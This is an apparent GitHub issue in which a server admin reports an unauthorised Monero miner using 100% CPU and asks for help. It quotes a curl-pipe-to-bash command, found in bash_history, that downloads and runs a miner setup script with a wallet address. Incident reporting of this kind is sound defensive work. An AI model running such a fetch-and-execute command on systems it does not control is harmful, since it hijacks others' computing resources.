Skip to content

Monero Miner Suddenly Running and using server resources #23

@nyelnizy

Description

@nyelnizy

Hello, this is not necessarily an issue but I am not sure where to post it.

So we realized a high cpu(100%) usage on our server 3 days ago and realized the Monero Miner was the process consuming the resources.
We have nothing to do with Monero and so we found it suspicious to see a process we never installed running and using up our resources.
The process was running under a specific user account and so we reviewed the bash_history and noticed a curl command that downloads a script from this repository and executes it (That is why I am posting it here).

This is the cur command:
curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 41qbTDmsb6s4RiWgju3kSSNStWYY7mfyoepx4sFmw5um68MxJtnzQQw31bN1Y9hjp4jYwg2WTpeUfaGT375rNvyX4VGNw8Q

We have confirmed no one from our team executed that command and so we suspect the user account that was used to run the command has been compromised.
Does anyone have an Idea what could be going on here?
Thanks.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions